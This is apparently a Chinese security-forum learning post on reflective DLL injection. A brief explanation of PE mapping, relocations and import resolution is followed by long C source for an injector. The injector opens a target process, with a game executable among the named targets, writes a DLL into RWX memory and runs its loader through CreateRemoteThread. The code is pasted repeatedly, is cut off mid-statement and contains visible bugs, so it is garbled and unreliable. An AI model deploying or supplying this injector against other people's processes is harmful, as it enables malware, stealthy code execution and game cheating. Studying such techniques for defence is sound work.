-
-
[原创]学习PE文件后的第一次实践项目之DLL反射型注入
-
发表于: 2024-12-16 20:10 9737
-
先看普通型的注入,如下:

普通的dll注入是在目标进程中开辟一处空间,在空间中写入dll文件的名称,再用LoadLibraryA函数通过查找名称来加载dll,而想在程序里调用LoadLibraryA的话就得用到CreateRemoteThread函数,这个函数传递的参数之一就有函数指针,等到CreateRemoteThread创建新线程之后,就会在新线程中调用这个过度函数,其二的参数就是传给指针的参数
这里插一句,在我多次用x64dbg调试得到的感悟,CreateRemoteThread这个函数,相当于开辟了一个不知道在哪的空间,在这个地方引用你要传入的函数
反射型dll注入则是将整个DLL文件传到目标进程的空间中,然后通过CreateRemoteThread调用一段shellcode,将DLL展开,并运行

首先查找目标进程的Id,函数的实现不多说了
然后就是注入的程序,思路是先开辟空间,写入DLL文件,然后找到shellcode,最后用CreatERemoteThread函数进入目标进程中
接下来是写入DLL,这里我选择,先在本地读取磁盘文件,然后通过WriteProcessMemory实现远程写入
这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址
这里做到的便是写入dll但是注意,写入的也是磁盘文件,因为后续要实现对dll文件的展开,映射成内存文件
那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了
注意这里获取的是文件偏移地址,因为此时的dll还没有展开(当然你也可以选择,所有的东西现在本地展开一次,然后写入展开后的程序,这样子就可以正常使用函数RVA,后续只需要修复重定位和导入函数了),所以找的不是RVA,而是文件偏移
这个函数的实现,是通过查找dll文件中的导出函数,遍历所有导出函数找到目标函数的RVA,然后需要对RVA转换为文件偏移地址,不过要注意,在文件没有展开之前导出表,以及导出表里的信息都是RVA,需要转换为文件偏移地址,那么写一个RVA-文件偏移就非常方便了
这个的实现是,先查找处于哪个节区,然后通过节区表的首地址经过RVA-虚拟首地址+节区初始地址的真实地址
然后就用CreateRemoteThread创造新线程,然后就可以插入shellcode了
我将一个文件的展开过程分为两部分,一部分是映射文件头和节区段,另一部分是修复重定位表和导入表
这部分相对简单,而且这个部分在里面和外面都可以实现,赋值文件头,然后根据节区头里面的文件偏移和虚拟地址偏移来映射就好
注意这里结束以后,节区表就修复完成了,所以可以使用自己封装的函数了
根据数据目录表定位重定位表,再根据重定位表结构来进行修复
导入表的修复是比较困难的,再导入表修复前是不可以使用API的,但是在修复导入表这个过程中,不可避免的要用到LoadLibraryA与GetProcAddress,所以就需要一个新东西先找到这两个函数
这里我没有过多的去了解,仅仅知道TEB是线程环境块,其中存储着PEB的指针,PEB是一个进程环境块,其中有一个叫PEB.Ldr的结构体,里面存储着已经加载的DLL文件指针
也就是说可以通过查找PEB.Ldr来找到kernel32.dll模块的句柄,然后找到其中的API,PEB.Ldr的结构如下
理论可行,实践开始
直到这一步是在定位到载入的模块的句柄,后续需要的是遍历载入的模块
从模块基地址中提取模块句柄,然后分析PE文件导出表获取函数名,对比获得函数在当前进程中的地址
通过LoadLibrarA和GetProcAddress函数修复导入表
结束
没啥区别,先扩展到节区表,再用函数,再创建线程,这样做的好处就是不需要再算文件偏移,并且开辟空间的时候更小
#include <stdio.h>#include <windows.h>#include <tlhelp32.h>DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);DWORD ProcesstoPid(wchar_t* Processname);BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);int main() { //先定义需要注入的dll与目标进程的名字 //wchar_t szProcName[MAX_PATH] = L"cs2.exe"; wchar_t szProcName[MAX_PATH] = L"pta.exe"; char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"; //查找获得目标进程的id DWORD dwPid = ProcesstoPid(szProcName); //写入dll文件,这里思考一下,传入的参数都是什么呢? //因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数 //dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录 DWORD result = MainInject(dwPid, Dllname);}DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID){ HANDLE hProcessSnap = NULL; DWORD ProcessId = 0; PROCESSENTRY32 pe32 = { 0 }; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照 if (hProcessSnap == (HANDLE)-1) { printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError()); return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32)) //开始枚举进程 { do { if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID { ProcessId = pe32.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程 } else { printf("\n[-] Process32First() Error: %d", GetLastError()); return 0; } if (!ProcessId) printf("no find"); else printf("[+] target id is %d", ProcessId); CloseHandle(hProcessSnap); //关闭系统进程快照的句柄 return ProcessId;}//用于转换RVA->文件偏移地址//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) { // 遍历节区表 for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { // 检查RVA是否在当前节区的范围内 if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { // 转换RVA到文件偏移地址 return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress); } } // 如果未找到对应的节区,返回无效值 return 0xFFFFFFFF;}//该函数通过分析PE文件头来尝试获取句柄LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) { //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf //定位一些相关文件头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); //获取导出表地址及大小,注意这里是RVA DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size; //定位导出表 //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换 DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec); //转换之后RVA就变成了文件偏移,然后再定位 PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); //解析导出表,这里同理都是RVA DWORD pRNames = pExportDir->AddressOfNames; DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec); DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames); DWORD pRFunctions = pExportDir->AddressOfFunctions; DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec); DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions); WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec); WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions); // 遍历查找目标函数 DWORD funcRVA = 0; for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { DWORD functionNameRVA = pNames[i]; DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec); const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset); if (strcmp(pName, funcName) == 0) { funcRVA = pFunctions[i]; break; } } if (funcRVA == 0) { printf("\n[-] Function %s not found.", funcName); return NULL; } DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);; DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset); if (fileOffset == 0) { printf("\n[-] Failed to convert RVA to file offset."); return NULL; } LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset; return remoteFuncAddr;}BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname){ //与普通dll注入一样,首先要做的是获取句柄 HANDLE hProc = NULL; hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid); if (!hProc) { printf("\n[-] OpenProcess Failed."); DWORD dwError = GetLastError(); printf("\n[-] OpenProcess failed. Error code: %d\n", dwError); return FALSE; } //有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中 //ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间 HANDLE hFile = CreateFileA(Dllname, GENERIC_READ, //读取权限 FILE_SHARE_READ | FILE_SHARE_WRITE, //允许其他进程读取文件|允许其他进程写入文件 NULL, //不需要特定的安全性 OPEN_EXISTING, //不需要特定的安全性 FILE_ATTRIBUTE_NORMAL, //如果文件存在,则打开文件。如果文件不存在,操作会失败 NULL //普通文件,没有特殊属性。 ); if (hFile == INVALID_HANDLE_VALUE) { printf("\n[-] CreateFileA failed."); return FALSE; } DWORD FileSize = GetFileSize(hFile, NULL); LPDWORD SizeToRead = 0; //本地暂存 unsigned char* pBuf = new unsigned char[FileSize]; ZeroMemory(pBuf, FileSize); int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); //读取文件放在开辟的空间里,pBuf为空间句柄 if (result == 0) { printf("\n[-] 文件读取失败"); return FALSE; } //对接下来开辟的空间进行计算大小 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS)); DWORD ImageSize = pNt->OptionalHeader.SizeOfImage; //开辟目标进程中的"类磁盘"空间,大小为前文的FileSize //这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE) //这里创建的时候一下子创两个 //刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想 ULONG_PTR TotalSize = ImageSize + ImageSize; printf("\n[+] FileSize : %p", FileSize); printf("\n[+] ImageSize: %p", ImageSize); printf("\n[+] TotalSize: %p", TotalSize); //这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小 LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pDll == NULL) { printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError()); return FALSE; } // 清零目标进程内存 SIZE_T sizeToZero = TotalSize; // 需要清零的字节数 BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区 if (zeroBuffer == NULL) { printf("Failed to allocate zero buffer.\n"); return -1; } // 写入全零到目标内存 if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) { DWORD errorCode = GetLastError(); printf("WriteProcessMemory failed with error code: %lu\n", errorCode); } // 释放缓冲区 free(zeroBuffer); //将dll文件写入进去 if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) { return FALSE; } //接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload //注意前文开辟的"类磁盘"空间中的pDll // 假设 ReflectLoader 是目标函数名 const char* reflectFuncName = "ReflectLoader"; // 获取 ReflectLoader 在目标进程内存中的地址 LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf); if (!pReflectLoader) { printf("[-] Failed to find ReflectLoader.\n"); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE; } LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); printf("\n[+] Dll磁盘起始地址:%p", pDll); printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize); printf("\n[+] Dll内存起始地址:%p", pAlloc); printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize); printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew); printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew); printf("\n[+] 磁盘中Sec表头地址:%p", pSect); printf("\n[+] 内存中Sec表头地址:%p", pSec); printf("\n[+] 重定位表基址:%p", pBaseReloc); printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress); DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection); printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco); //DWORD SecNum = pNt->FileHeader.NumberOfSections; //for (int i = 0; i < SecNum; i++) { // if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) { // pSection++; // continue; // } // char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData)); // char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData)); // printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem); // printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem); // pSection++; //} printf("\n[+] 函数 address:%p", pReflectLoader); // 调用 ReflectLoader 函数 HANDLE hThread = CreateRemoteThread( hProc, // 目标进程句柄 NULL, // 默认安全属性 0, // 默认堆栈大小 (LPTHREAD_START_ROUTINE)pReflectLoader, // ReflectLoader 地址 pDll, // 参数:DLL 的基址 0, // 默认创建标志 NULL // 不需要线程 ID ); if (!hThread) { printf("\n[-] CreateRemoteThread failed: %d", GetLastError()); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE; } printf("\n[+] ReflectLoader executed successfully."); // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return TRUE;}#include <stdio.h>#include <windows.h>#include <tlhelp32.h>DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf);DWORD ProcesstoPid(wchar_t* Processname);BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname);int main() { //先定义需要注入的dll与目标进程的名字 //wchar_t szProcName[MAX_PATH] = L"cs2.exe"; wchar_t szProcName[MAX_PATH] = L"pta.exe"; char Dllname[MAX_PATH] = "D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"; //查找获得目标进程的id DWORD dwPid = ProcesstoPid(szProcName); //写入dll文件,这里思考一下,传入的参数都是什么呢? //因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数 //dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录 DWORD result = MainInject(dwPid, Dllname);}DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID){ HANDLE hProcessSnap = NULL; DWORD ProcessId = 0; PROCESSENTRY32 pe32 = { 0 }; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照 if (hProcessSnap == (HANDLE)-1) { printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError()); return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32)) //开始枚举进程 { do { if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID { ProcessId = pe32.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程 } else { printf("\n[-] Process32First() Error: %d", GetLastError()); return 0; } if (!ProcessId) printf("no find"); else printf("[+] target id is %d", ProcessId); CloseHandle(hProcessSnap); //关闭系统进程快照的句柄 return ProcessId;}//用于转换RVA->文件偏移地址//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) { // 遍历节区表 for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { // 检查RVA是否在当前节区的范围内 if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { // 转换RVA到文件偏移地址 return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress); } } // 如果未找到对应的节区,返回无效值 return 0xFFFFFFFF;}//该函数通过分析PE文件头来尝试获取句柄LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) { //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf //定位一些相关文件头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); //获取导出表地址及大小,注意这里是RVA DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size; //定位导出表 //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换 DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec); //转换之后RVA就变成了文件偏移,然后再定位 PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); //解析导出表,这里同理都是RVA DWORD pRNames = pExportDir->AddressOfNames; DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec); DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames); DWORD pRFunctions = pExportDir->AddressOfFunctions; DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec); DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions); WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec); WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions); // 遍历查找目标函数 DWORD funcRVA = 0; for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { DWORD functionNameRVA = pNames[i]; DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec); const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset); if (strcmp(pName, funcName) == 0) { funcRVA = pFunctions[i]; break; } } if (funcRVA == 0) { printf("\n[-] Function %s not found.", funcName); return NULL; } DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);; DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset); if (fileOffset == 0) { printf("\n[-] Failed to convert RVA to file offset."); return NULL; } LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset; return remoteFuncAddr;}BOOL WINAPI MainInject(DWORD dwTargetPid, char* Dllname){ //与普通dll注入一样,首先要做的是获取句柄 HANDLE hProc = NULL; hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid); if (!hProc) { printf("\n[-] OpenProcess Failed."); DWORD dwError = GetLastError(); printf("\n[-] OpenProcess failed. Error code: %d\n", dwError); return FALSE; } //有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中 //ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间 HANDLE hFile = CreateFileA(Dllname, GENERIC_READ, //读取权限 FILE_SHARE_READ | FILE_SHARE_WRITE, //允许其他进程读取文件|允许其他进程写入文件 NULL, //不需要特定的安全性 OPEN_EXISTING, //不需要特定的安全性 FILE_ATTRIBUTE_NORMAL, //如果文件存在,则打开文件。如果文件不存在,操作会失败 NULL //普通文件,没有特殊属性。 ); if (hFile == INVALID_HANDLE_VALUE) { printf("\n[-] CreateFileA failed."); return FALSE; } DWORD FileSize = GetFileSize(hFile, NULL); LPDWORD SizeToRead = 0; //本地暂存 unsigned char* pBuf = new unsigned char[FileSize]; ZeroMemory(pBuf, FileSize); int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); //读取文件放在开辟的空间里,pBuf为空间句柄 if (result == 0) { printf("\n[-] 文件读取失败"); return FALSE; } //对接下来开辟的空间进行计算大小 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew); PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS)); DWORD ImageSize = pNt->OptionalHeader.SizeOfImage; //开辟目标进程中的"类磁盘"空间,大小为前文的FileSize //这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE) //这里创建的时候一下子创两个 //刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想 ULONG_PTR TotalSize = ImageSize + ImageSize; printf("\n[+] FileSize : %p", FileSize); printf("\n[+] ImageSize: %p", ImageSize); printf("\n[+] TotalSize: %p", TotalSize); //这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小 LPVOID pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (pDll == NULL) { printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError()); return FALSE; } // 清零目标进程内存 SIZE_T sizeToZero = TotalSize; // 需要清零的字节数 BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区 if (zeroBuffer == NULL) { printf("Failed to allocate zero buffer.\n"); return -1; } // 写入全零到目标内存 if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) { DWORD errorCode = GetLastError(); printf("WriteProcessMemory failed with error code: %lu\n", errorCode); } // 释放缓冲区 free(zeroBuffer); //将dll文件写入进去 if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) { return FALSE; } //接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload //注意前文开辟的"类磁盘"空间中的pDll // 假设 ReflectLoader 是目标函数名 const char* reflectFuncName = "ReflectLoader"; // 获取 ReflectLoader 在目标进程内存中的地址 LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf); if (!pReflectLoader) { printf("[-] Failed to find ReflectLoader.\n"); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE; } LPVOID pAlloc = (LPVOID)((ULONG_PTR)pDll + ImageSize); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pAlloc + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((ULONG_PTR)pDll + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); printf("\n[+] Dll磁盘起始地址:%p", pDll); printf("\n[+] Dll磁盘终止地址:%p", (ULONG_PTR)pDll + FileSize); printf("\n[+] Dll内存起始地址:%p", pAlloc); printf("\n[+] Dll整体结束地址:%p", (ULONG_PTR)pAlloc + ImageSize); printf("\n[+] 磁盘中Nt表头地址:%p", (ULONG_PTR)pDll + pDos->e_lfanew); printf("\n[+] 内存中Nt表头地址:%p", (ULONG_PTR)pAlloc + pDos->e_lfanew); printf("\n[+] 磁盘中Sec表头地址:%p", pSect); printf("\n[+] 内存中Sec表头地址:%p", pSec); printf("\n[+] 重定位表基址:%p", pBaseReloc); printf("\n[+] 重定位表RVA:%p", (ULONG_PTR)pNt->OptionalHeader.DataDirectory[5].VirtualAddress); DWORD Relco = RVAtoFileOffset((DWORD)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection); printf("\n[+] 重定位表文件偏移:%p", (ULONG_PTR)pDll + Relco); //DWORD SecNum = pNt->FileHeader.NumberOfSections; //for (int i = 0; i < SecNum; i++) { // if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) { // pSection++; // continue; // } // char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData)); // char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData)); // printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem); // printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem); // pSection++; //} printf("\n[+] 函数 address:%p", pReflectLoader); // 调用 ReflectLoader 函数 HANDLE hThread = CreateRemoteThread( hProc, // 目标进程句柄 NULL, // 默认安全属性 0, // 默认堆栈大小 (LPTHREAD_START_ROUTINE)pReflectLoader, // ReflectLoader 地址 pDll, // 参数:DLL 的基址 0, // 默认创建标志 NULL // 不需要线程 ID ); if (!hThread) { printf("\n[-] CreateRemoteThread failed: %d", GetLastError()); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE; } printf("\n[+] ReflectLoader executed successfully."); // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return TRUE;}DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID){ HANDLE hProcessSnap = NULL; DWORD ProcessId = 0; PROCESSENTRY32 pe32 = { 0 }; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照 if (hProcessSnap == (HANDLE)-1) { printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError()); return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32)) //开始枚举进程 { do { if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID { ProcessId = pe32.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程 } else { printf("\n[-] Process32First() Error: %d", GetLastError()); return 0; } if (!ProcessId) printf("\nno find"); else printf("[+] target id is %d", ProcessId); CloseHandle(hProcessSnap); //关闭系统进程快照的句柄 return ProcessId;}DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID){ HANDLE hProcessSnap = NULL; DWORD ProcessId = 0; PROCESSENTRY32 pe32 = { 0 }; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照 if (hProcessSnap == (HANDLE)-1) { printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError()); return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &pe32)) //开始枚举进程 { do { if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID { ProcessId = pe32.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程 } else { printf("\n[-] Process32First() Error: %d", GetLastError()); return 0; } if (!ProcessId) printf("\nno find"); else printf("[+] target id is %d", ProcessId); CloseHandle(hProcessSnap); //关闭系统进程快照的句柄 return ProcessId;}//与普通dll注入一样,首先要做的是获取句柄HANDLE hProc = NULL;hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);if (!hProc){ printf("\n[-] OpenProcess Failed."); DWORD dwError = GetLastError(); printf("\n[-] OpenProcess failed. Error code: %d\n", dwError); return FALSE;}//与普通dll注入一样,首先要做的是获取句柄HANDLE hProc = NULL;hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);if (!hProc){ printf("\n[-] OpenProcess Failed."); DWORD dwError = GetLastError(); printf("\n[-] OpenProcess failed. Error code: %d\n", dwError); return FALSE;}//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间HANDLE hFile = CreateFileA(Dllname, GENERIC_READ, //读取权限 FILE_SHARE_READ | FILE_SHARE_WRITE, //允许其他进程读取文件|允许其他进程写入文件 NULL, //不需要特定的安全性 OPEN_EXISTING, //不需要特定的安全性 FILE_ATTRIBUTE_NORMAL, //如果文件存在,则打开文件。如果文件不存在,操作会失败 NULL //普通文件,没有特殊属性。);if (hFile == INVALID_HANDLE_VALUE) { printf("\n[-] CreateFileA failed."); return FALSE;}DWORD FileSize = GetFileSize(hFile, NULL);LPDWORD SizeToRead = 0;//本地暂存unsigned char* pBuf 